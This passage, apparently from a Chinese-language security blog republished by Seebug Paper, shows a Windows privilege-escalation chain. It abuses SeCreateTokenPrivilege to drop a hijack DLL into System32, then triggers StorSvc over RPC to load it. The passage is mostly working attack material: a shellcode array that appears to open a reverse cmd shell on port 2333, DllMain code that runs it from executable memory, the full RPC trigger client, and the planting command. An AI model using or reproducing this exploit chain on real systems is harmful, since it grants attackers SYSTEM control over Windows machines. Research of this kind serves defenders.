        "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
        "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
        "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
        "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
        "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
        "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
        "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
        "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
        "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
        "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
        "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
        "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
        "\x49\x89\xe5\x49\xbc\x02\x00\x09\x1d\x7f\x00\x00\x01\x41\x54"
        "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
        "\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
        "\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
        "\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
        "\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
        "\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
        "\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
        "\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
        "\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
        "\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
        "\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
        "\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
        "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
        "\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
        "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

    void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();
    return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    HANDLE hThread = NULL;
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        DisableThreadLibraryCalls(hModule);
        hThread = CreateThread(NULL, 0, DoMagic, 0, 0, 0);
        if (hThread) {
            CloseHandle(hThread);
        }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

再創建另一個項目,通過 RPC 調用 StorSvc.dll!SvcRebootToFlashingMode() 方法,主要代碼如下。關于如何調用 RPC 可以閱讀我這篇博客:“PetitPotato - How Do I Escalate To SYSTEM Via Named Pipe”。

  • RpcClient.exe
#include "storsvc_h.h"
#include <iostream>
#include <windows.h>

#pragma comment(lib, "RpcRT4.lib")

int wmain(int argc, wchar_t* argv[])
{
    RPC_STATUS RpcStatus;
    RPC_WSTR StringBinding;
    RPC_BINDING_HANDLE hBinding;

    RpcStatus = RpcStringBindingComposeW(NULL, (RPC_WSTR)L"ncalrpc", (RPC_WSTR)L"", (RPC_WSTR)L"", NULL, &StringBinding);
    if (RpcStatus != RPC_S_OK) {
        printf("[-] RpcStringBindingComposeW() Error: [%u]\n", GetLastError());
        return 0;
    }

    RpcStatus = RpcBindingFromStringBindingW(
        StringBinding,
        &hBinding
    );
    if (RpcStatus != RPC_S_OK) {
        printf("[-] RpcBindingFromStringBindingW() Error: [%u]\n", GetLastError());
        return 0;
    }

    RpcStatus = RpcStringFree(
        &StringBinding
    );
    if (RpcStatus != RPC_S_OK) {
        printf("[-] RpcStringFreeW() Error: [%u]\n", GetLastError());
        return 0;
    }

    RpcTryExcept
    {
        long result = Proc6_SvcRebootToFlashingMode(hBinding, 0, 0);
        if (result == 0)
            wprintf(L"[*] Dll hijack triggered!");
        else
            wprintf(L"[!] Manual reboot of StorSvc service is required.");
    }
    RpcExcept(EXCEPTION_EXECUTE_HANDLER);
    {
        wprintf(L"[-] Exception: %d - 0x%08x.\r\n", RpcExceptionCode(), RpcExceptionCode());
    }
    RpcEndExcept
    {
        RpcBindingFree(&hBinding);
    }

}

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
    return((void __RPC_FAR*) malloc(cBytes));
}

void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
    free(p);
}

首先通過 SeCreateTokenPrivilege 特權將生成的 SprintCSP.dll 寫入 C:\Windows\System32 目錄,然后直接運行 RpcClient.exe 即可獲取一個 SYSTEM 權限的交互式命令行,如下圖所示。

SeCreateTokenPrivilege.exe -s SprintCSP.dll -d C:\Windows\System32\SprintCSP.dll

Animation


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/3009/